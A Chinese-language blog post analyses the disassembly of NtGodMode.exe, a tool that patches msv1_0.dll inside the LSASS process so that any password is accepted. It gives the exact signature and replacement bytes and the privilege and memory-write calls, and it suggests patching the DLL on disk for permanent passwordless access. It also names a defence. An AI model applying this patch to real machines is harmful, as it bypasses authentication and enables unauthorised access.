分析NtGodMode.exe干了什么

by http://tmdnet.nothave.com

NtGodModex.exe http://www.xfocus.net/tools/200804/1272.html
NtGodMode.exe 9.00 KB (9,216 字节) UPX壳，直接用Ollydbg脱壳，过程略
NtGodMode~.exe 120 KB (123,392 字节) 用PE工具查看，delphi写的

00403220 > 55 PUSH EBP
00403221 8BEC MOV EBP,ESP
00403223 B9 0D000000 MOV ECX,0D
00403228 6A 00 PUSH 0
0040322A 6A 00 PUSH 0
0040322C 49 DEC ECX
0040322D ^ 75 F9 JNZ SHORT NtGodMod.00403228
0040322F 51 PUSH ECX
00403230 53 PUSH EBX
00403231 56 PUSH ESI
00403232 57 PUSH EDI
00403233 A1 9C404000 MOV EAX,DWORD PTR DS:[40409C]
00403238 C600 01 MOV BYTE PTR DS:[EAX],1
0040323B B8 C0314000 MOV EAX,NtGodMod.004031C0
00403240 E8 13EEFFFF CALL NtGodMod.00402058 //获取自身进程的句柄(基地址)
00403245 BB 60574000 MOV EBX,NtGodMod.00405760
0040324A 33C0 XOR EAX,EAX
0040324C 55 PUSH EBP
0040324D 68 80384000 PUSH NtGodMod.00403880
00403252 64:FF30 PUSH DWORD PTR FS:[EAX]
00403255 64:8920 MOV DWORD PTR FS:[EAX],ESP
00403258 E8 1BF2FFFF CALL NtGodMod.00402478
0040325D 48 DEC EAX
0040325E 7D 61 JGE SHORT NtGodMod.004032C1 // ->>004032C1
00403260 E8 4FFEFFFF CALL NtGodMod.004030B4
00403265 68 98384000 PUSH NtGodMod.00403898 ; ASCII "Usage: "
0040326A 8D55 E4 LEA EDX,DWORD PTR SS:[EBP-1C]
0040326D 33C0 XOR EAX,EAX
0040326F E8 F8F0FFFF CALL NtGodMod.0040236C
00403274 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C]
00403277 8D55 E8 LEA EDX,DWORD PTR SS:[EBP-18]
0040327A E8 11F4FFFF CALL NtGodMod.00402690
0040327F FF75 E8 PUSH DWORD PTR SS:[EBP-18]
00403282 68 A8384000 PUSH NtGodMod.004038A8 ; ASCII " ON|OFF"
00403287 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14]
0040328A BA 03000000 MOV EDX,3
0040328F E8 70E9FFFF CALL NtGodMod.00401C04

///////////////////////////////////////////////////////////////////////////////////////////////////
004032C1 A1 8C404000 MOV EAX,DWORD PTR DS:[40408C]
004032C6 E8 61EAFFFF CALL NtGodMod.00401D2C
004032CB 50 PUSH EAX //msv1_0.dll
004032CC E8 BFEEFFFF CALL <JMP.&kernel32.LoadLibraryA> //LoadLibrary("msv1_0.dll")
004032D1 A3 4C574000 MOV DWORD PTR DS:[40574C],EAX //保存msv1_0.dll基地址
004032D6 833D 4C574000 0>CMP DWORD PTR DS:[40574C],0
004032DD 0F84 82050000 JE NtGodMod.00403865
004032E3 33C0 XOR EAX,EAX
004032E5 A3 50574000 MOV DWORD PTR DS:[405750],EAX
004032EA A1 4C574000 MOV EAX,DWORD PTR DS:[40574C]
004032EF 8903 MOV DWORD PTR DS:[EBX],EAX
004032F1 33C0 XOR EAX,EAX
004032F3 55 PUSH EBP
004032F4 68 50334000 PUSH NtGodMod.00403350
004032F9 64:FF30 PUSH DWORD PTR FS:[EAX]
004032FC 64:8920 MOV DWORD PTR FS:[EAX],ESP
004032FF 8B03 MOV EAX,DWORD PTR DS:[EBX] //msv1_0.dll基地址
00403301 8038 8B CMP BYTE PTR DS:[EAX],8B
00403304 75 1C JNZ SHORT NtGodMod.00403322
00403306 8B03 MOV EAX,DWORD PTR DS:[EBX]
00403308 40 INC EAX
00403309 8038 4D CMP BYTE PTR DS:[EAX],4D
0040330C 75 14 JNZ SHORT NtGodMod.00403322
0040330E 8B03 MOV EAX,DWORD PTR DS:[EBX]
00403310 83C0 02 ADD EAX,2
00403313 8038 0C CMP BYTE PTR DS:[EAX],0C
00403316 75 0A JNZ SHORT NtGodMod.00403322
00403318 8B03 MOV EAX,DWORD PTR DS:[EBX]
0040331A 83C0 03 ADD EAX,3
0040331D 8038 49 CMP BYTE PTR DS:[EAX],49 //在msv1_0.dll空间里找8B 4D 0C 49，这个特征值
00403320 74 04 JE SHORT NtGodMod.00403326 //如果找到则继续在后面的空间里找 32 C0
00403322 FF03 INC DWORD PTR DS:[EBX]
00403324 ^ EB D9 JMP SHORT NtGodMod.004032FF
00403326 8B03 MOV EAX,DWORD PTR DS:[EBX]
00403328 8038 32 CMP BYTE PTR DS:[EAX],32
0040332B 75 11 JNZ SHORT NtGodMod.0040333E
0040332D 8B03 MOV EAX,DWORD PTR DS:[EBX]
0040332F 40 INC EAX
00403330 8038 C0 CMP BYTE PTR DS:[EAX],0C0
00403333 75 09 JNZ SHORT NtGodMod.0040333E
00403335 8B03 MOV EAX,DWORD PTR DS:[EBX]
00403337 A3 50574000 MOV DWORD PTR DS:[405750],EAX //保存找的地址[405750]
0040333C EB 04 JMP SHORT NtGodMod.00403342
0040333E FF03 INC DWORD PTR DS:[EBX] //指针加1
00403340 ^ EB E4 JMP SHORT NtGodMod.00403326
00403342 33C0 XOR EAX,EAX
00403344 5A POP EDX
00403345 59 POP ECX
00403346 59 POP ECX
00403347 64:8910 MOV DWORD PTR FS:[EAX],EDX
0040334A 68 57334000 PUSH NtGodMod.00403357
0040334F C3 RETN

00403357 A1 50574000 MOV EAX,DWORD PTR DS:[405750]
0040335C 2B05 4C574000 SUB EAX,DWORD PTR DS:[40574C] //上面找到的地址=msv1_0.dll基地址，得到特征值的偏移
00403362 A3 50574000 MOV DWORD PTR DS:[405750],EAX //offset ->[405750]
00403367 A1 4C574000 MOV EAX,DWORD PTR DS:[40574C]
0040336C 50 PUSH EAX
0040336D E8 E6EDFFFF CALL <JMP.&kernel32.FreeLibrary>
00403372 C605 9C584000 0>MOV BYTE PTR DS:[40589C],0
00403379 C605 91584000 0>MOV BYTE PTR DS:[405891],0
00403380 C605 9D584000 0>MOV BYTE PTR DS:[40589D],0
00403387 E8 28FDFFFF CALL NtGodMod.004030B4 //显示作者信息
0040338C 8D55 DC LEA EDX,DWORD PTR SS:[EBP-24]
0040338F B8 02000000 MOV EAX,2
00403394 E8 D3EFFFFF CALL NtGodMod.0040236C
.
.
.
/////////////////////////////////////////////////////////////////////////////////////////////
//提升自身权限为调试权限
http://tmdnet.nothave.com/tmp/NtGodMode.txt

00402F1C 53 PUSH EBX ; NtGodMod.00405760
00402F1D 83C4 E8 ADD ESP,-18
00402F20 33DB XOR EBX,EBX
00402F22 54 PUSH ESP
00402F23 6A 28 PUSH 28
00402F25 E8 3EF2FFFF CALL <JMP.&kernel32.GetCurrentProcess>
00402F2A 50 PUSH EAX
00402F2B E8 F8F1FFFF CALL <JMP.&advapi32.OpenProcessToken>
00402F30 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C]
00402F34 50 PUSH EAX
00402F35 68 7C2F4000 PUSH NtGodMod.00402F7C ; ASCII "SeDebugPrivilege"
00402F3A 6A 00 PUSH 0
00402F3C E8 DFF1FFFF CALL <JMP.&advapi32.LookupPrivilegeValueA>
00402F41 85C0 TEST EAX,EAX
00402F43 74 30 JE SHORT NtGodMod.00402F75
00402F45 C74424 08 01000>MOV DWORD PTR SS:[ESP+8],1
00402F4D C74424 14 02000>MOV DWORD PTR SS:[ESP+14],2
00402F55 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4]
00402F59 50 PUSH EAX
00402F5A 6A 00 PUSH 0
00402F5C 6A 10 PUSH 10
00402F5E 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14]
00402F62 50 PUSH EAX
00402F63 6A 00 PUSH 0
00402F65 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14]
00402F69 50 PUSH EAX
00402F6A E8 A9F1FFFF CALL <JMP.&advapi32.AdjustTokenPrivileges>
00402F6F 83F8 01 CMP EAX,1
00402F72 1BDB SBB EBX,EBX
00402F74 43 INC EBX
00402F75 8BC3 MOV EAX,EBX
00402F77 83C4 18 ADD ESP,18
00402F7A 5B POP EBX
00402F7B C3 RETN
///////////////////////////////////////////////////////////////////////////////////////////////
.
. //这段为通过进程名获取PID(LSASS.EXE) 太长 略...
.
///////////////////////////////////////////////////////////////////////////////////////////////
http://tmdnet.nothave.com/tmp/NtGodMode.txt

0040358A 50 PUSH EAX
0040358B 6A 00 PUSH 0
0040358D 68 FF0F1F00 PUSH 1F0FFF
00403592 E8 01ECFFFF CALL <JMP.&kernel32.OpenProcess>//打开%systemroot%\system32\LSASS.EXE进程
00403597 8BF0 MOV ESI,EAX
00403599 85F6 TEST ESI,ESI
0040359B 75 1E JNZ SHORT NtGodMod.004035BB
0040359D A1 98404000 MOV EAX,DWORD PTR DS:[404098]
004035A2 BA 10394000 MOV EDX,NtGodMod.00403910 ; ASCII "Sorry. I can't DO more."
004035A7 E8 78E8FFFF CALL NtGodMod.00401E24
004035AC E8 6FE1FFFF CALL NtGodMod.00401720
004035B1 E8 3EDCFFFF CALL NtGodMod.004011F4
004035B6 E9 AA020000 JMP NtGodMod.00403865
004035BB B8 A0584000 MOV EAX,NtGodMod.004058A0
004035C0 BA 00000100 MOV EDX,10000
004035C5 E8 0EECFFFF CALL NtGodMod.004021D8
004035CA 68 A0584100 PUSH NtGodMod.004158A0
004035CF BA A0584000 MOV EDX,NtGodMod.004058A0
004035D4 B9 00000100 MOV ECX,10000
004035D9 8BC6 MOV EAX,ESI
004035DB E8 A4F8FFFF CALL NtGodMod.00402E84
004035E0 8B3D A0584100 MOV EDI,DWORD PTR DS:[4158A0]
004035E6 4F DEC EDI
004035E7 85FF TEST EDI,EDI
004035E9 0F82 D6000000 JB NtGodMod.004036C5
004035EF 47 INC EDI
004035F0 C705 58574000 0>MOV DWORD PTR DS:[405758],0
004035FA BB A0584000 MOV EBX,NtGodMod.004058A0
004035FF 833B 00 CMP DWORD PTR DS:[EBX],0
00403602 0F84 BD000000 JE NtGodMod.004036C5
00403608 C705 A4584100 C>MOV DWORD PTR DS:[4158A4],0C8
00403612 A1 A4584100 MOV EAX,DWORD PTR DS:[4158A4]
00403617 50 PUSH EAX
00403618 B9 A8584100 MOV ECX,NtGodMod.004158A8
0040361D 8B13 MOV EDX,DWORD PTR DS:[EBX]
0040361F 8BC6 MOV EAX,ESI
00403621 E8 8EF8FFFF CALL NtGodMod.00402EB4
///////////////////////////////////////////////////////////////////////////////////////////////////
http://tmdnet.nothave.com/tmp/NtGodMode.txt

00403732 68 5C574000 PUSH NtGodMod.0040575C
00403737 6A 40 PUSH 40
00403739 6A 02 PUSH 2
0040373B A1 50574000 MOV EAX,DWORD PTR DS:[405750]
00403740 50 PUSH EAX
00403741 56 PUSH ESI
00403742 E8 79EAFFFF CALL <JMP.&kernel32.VirtualProtectEx>
00403747 68 98584000 PUSH NtGodMod.00405898
0040374C 6A 02 PUSH 2
0040374E 68 90404000 PUSH NtGodMod.00404090
00403753 A1 50574000 MOV EAX,DWORD PTR DS:[405750]
00403758 50 PUSH EAX
00403759 56 PUSH ESI
0040375A E8 69EAFFFF CALL <JMP.&kernel32.WriteProcessMemory> //32C0 xor al,al修改为B001 mov al,1
0040375F B0 04 MOV AL,4
00403761 E8 DEEFFFFF CALL NtGodMod.00402744
00403766 A1 98404000 MOV EAX,DWORD PTR DS:[404098]
0040376B BA 70394000 MOV EDX,NtGodMod.00403970 ; ASCII "Open God Mode!"
00403770 E8 AFE6FFFF CALL NtGodMod.00401E24
00403775 E8 A6DFFFFF CALL NtGodMod.00401720
0040377A E8 75DAFFFF CALL NtGodMod.004011F4
0040377F 33C0 XOR EAX,EAX
00403781 E8 BEEFFFFF CALL NtGodMod.00402744
00403786 EB 54 JMP SHORT NtGodMod.004037DC
00403788 68 5C574000 PUSH NtGodMod.0040575C
0040378D 6A 40 PUSH 40
0040378F 6A 02 PUSH 2
00403791 A1 50574000 MOV EAX,DWORD PTR DS:[405750]
00403796 50 PUSH EAX
00403797 56 PUSH ESI
00403798 E8 23EAFFFF CALL <JMP.&kernel32.VirtualProtectEx>
0040379D 68 98584000 PUSH NtGodMod.00405898
004037A2 6A 02 PUSH 2
004037A4 68 94404000 PUSH NtGodMod.00404094
004037A9 A1 50574000 MOV EAX,DWORD PTR DS:[405750]
004037AE 50 PUSH EAX
004037AF 56 PUSH ESI
004037B0 E8 13EAFFFF CALL <JMP.&kernel32.WriteProcessMemory>
004037B5 B0 07 MOV AL,7
004037B7 E8 88EFFFFF CALL NtGodMod.00402744
004037BC A1 98404000 MOV EAX,DWORD PTR DS:[404098]
004037C1 BA 88394000 MOV EDX,NtGodMod.00403988 ; ASCII "Close God Mode!"
004037C6 E8 59E6FFFF CALL NtGodMod.00401E24
004037CB E8 50DFFFFF CALL NtGodMod.00401720
004037D0 E8 1FDAFFFF CALL NtGodMod.004011F4
004037D5 33C0 XOR EAX,EAX
004037D7 E8 68EFFFFF CALL NtGodMod.00402744
004037DC 6A 00 PUSH 0
004037DE 6A 00 PUSH 0
004037E0 56 PUSH ESI
004037E1 E8 6AE9FFFF CALL <JMP.&kernel32.FlushInstructionCache>

小结
NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里，然后搜索特征值8B 4D 0C 49之后第1个32 C0
这个32C0汇编码xor al,al，修改为B001对应汇编码mov al,1
为什么mov al,1，以后就不用密码了？有兴趣的同学可以装个虚拟机，调下LSASS.EXE
这个程序在我自己的机器win2k sp4上，不起作用，我跟了一下，主要是搜索的上面的哪个特征值它不是通用的，修改错了地方
xp sp2 xp sp3都起作用。
另外想让自己机器免疫这个东西的话， 其实也很简单控制面板->管理工具->本地安全策略->本地策略->用户权利指派->调试程序
里面有个admin用户，删除了以后，因为这个程序提升自身权限的代码，很老，很差，很弱小，会失效
其实这个东西要这样用，通过编程的方法，关掉系统的文件保护，直接改msv1_0.dll这个PE文件，这样机器不用密码了，然后要是很多机器的话访问共享文件也方便,计算机应该以人为本。

最后说一句delphi写的东西是不行，垃圾太多~!!
http://tmdnet.nothave.com/tmp/NtGodMode.txt

赞 (0)

相关推荐

  • 分析NtGodMode.exe干了什么

    by http://tmdnet.nothave.com NtGodModex.exe http://www.xfocus.net/tools/200804/1272.html NtGodMode.exe 9.00 KB (9,216 字节) UPX壳,直接用Ollydbg脱壳,过程略 NtGodMode~.exe 120 KB (123,392 字节) 用PE工具查看,delphi写的 00403220 > 55 PUSH EBP 00403221 8BEC MOV EBP,ESP 00403

  • NtGodMode.exe任意密码登录windows系统帐号下载

    作者:golds7n[LAG] 大小:9216 Bytes MD5 :7026217dc72aa564a2834995d7a7b017 来源:安全焦点 --------– NtGod Private Powered By golds7n[LAG] --------– Usage: NtGodMode.exe ON|OFF NTGod NT上帝模式,打开上帝模式可以用任意密码登录任意windows系统帐号,从而达到不增加帐号.不破坏被入侵主机系统的情况下,登录系统帐号. 情 景再现: 当你在进行主

  • 简单分析SCVVHSOT.exe病毒

    主要行为: 1.释放文件: C:\Windows\System32\SCVVHSOT.exe 671,744 bytes C:\Windows\Tasks\At1.job 346 bytes 2.添加启动项: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 键名为:Yahoo Messengger,指向SCVVHSOT.exe. 3.修改注册表,跟随Explorer启动: HKEY_LOCAL_MACHINE\SOF

  • 使用.NET命令行编译器编译项目（如ASP.NET、C#等）

    使用.NET命令行编译器编译项目（如ASP.NET、C#等）

    源程序最好有.csproj或.vbproj文件,没有的话,要花些时间调试 下面我以VB.NET做示例讲解一下: 从proj我们可以获取以下有用信息 Settings小节中有很多配置选项,对应一些编译器选项 <References>小节中是项目的引用,第3方类库最好用绝对路径 <Imports>小节中是要导入的一些命名空间 <Files>小节中有项目的所有文件,选取 BuildAction = "Compile"的文件 用vbc测试了一下,很容易,注意

  • 巧妙从进程中判断出病毒和木马的方法

    任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法.但是系统中同时运行的进程那么多,哪些是正常的系统进程,哪些是木马的进程,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?请看本文. 病毒进程隐藏三法 当我们确认系统中存在病毒,但是通过"任务管理器"查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,总结出来有三法: 1.以假乱真 系统中的正常进程

  • 浅谈Java中生产者与消费者问题的演变

    想要了解更多关于Java生产者消费者问题的演变吗?那就看看这篇文章吧,我们分别用旧方法和新方法来处理这个问题. 生产者消费者问题是一个典型的多进程同步问题. 对于大多数人来说,这个问题可能是我们在学校,执行第一次并行算法所遇到的第一个同步问题. 虽然它很简单,但一直是并行计算中的最大挑战 - 多个进程共享一个资源. 问题陈述 生产者和消费者两个程序,共享一个大小有限的公共缓冲区. 假设一个生产者"生产"一份数据并将其存储在缓冲区中,而一个消费者"消费"这份数据,并将

  • Python使用爬虫爬取贵阳房价的方法详解

    Python使用爬虫爬取贵阳房价的方法详解

    目录 1 序言 1.1 生存压力带来的哲思 1.2 买房&房奴 2 爬虫 2.1 基本概念 2.2 爬虫的基本流程 3 爬取贵阳房价并写入表格 3.1 结果展示 3.2 代码实现(Python) 总结 1 序言 1.1 生存压力带来的哲思 马尔萨斯最早发现,生物按照几何级数高度增殖的天赋能力,总是大于他们的实际生存能力或现实生存群量,依次推想,生物的种内竞争一定是极端残酷且无可避免.姑且不论马尔萨斯是否有必要给人类提出相应的警告,仅是这一现象中隐含的一系列基础问题,譬如,生物的超量繁殖能力的自然

  • SysLoad3.exe木马病毒的分析及清除方法

    使用前,请先断网,删除系统目录下的SysLoad3.exe以及1.exe,2.exe,...,7.exe,用IceSword删除临时目录下的那几个动态库.当任务管理器里没有iexplore.exe和notepad.exe的进程时,就可以运行这个恢复程序了. 特别注意:运行过程中,不要去运行其他程序,有可能你运行的那个程序就是带毒的!! [b]二:以下是分析和手动清除方法: 昨天下午加班回来,发现本本的行为相当诡异.看了看任务管理器,有几个Ie的进程和几个Notepad的进程有些可疑.然后看了看注

  • Downloader Win32.Delf.dqu(IRAT.rmvb,mm.exe)分析查杀

    文件名称:IRAT.rmvb\mm.exe 文件大小:140800 byte AV命名: Downloader.Win32.Delf.dqu(卡巴斯基) MultiDropper-JD(迈克菲) Downloader/W32.Agent.137216.I(nProtect) 加壳方式:未 编写语言:Delphi 文件MD5:1b2cf1cdcb03c7c990c6ffe5a75e0f9b 病毒类型:后门 行为分析: 1. 释放病毒副本: C:\WINDOWS\system32\IRAT.rmvb

  • 恶劣的U盘病毒Worm.Pabug.ck(OSO.exe)分析与查杀

    病毒名:Worm.Pabug.ck 大小:38,132 字节 MD5:2391109c40ccb0f982b86af86cfbc900 加壳方式:FSG2.0 编写语言:Delphi 传播方式:通过移动介质或网页恶意脚本传播 经虚拟机中运行,与脱壳后OD分析结合,其行为如下: 文件创建: %systemroot%\system32\gfosdg.exe %systemroot%\system32\gfosdg.dll %systemroot%\system32\severe.exe %syste

随机推荐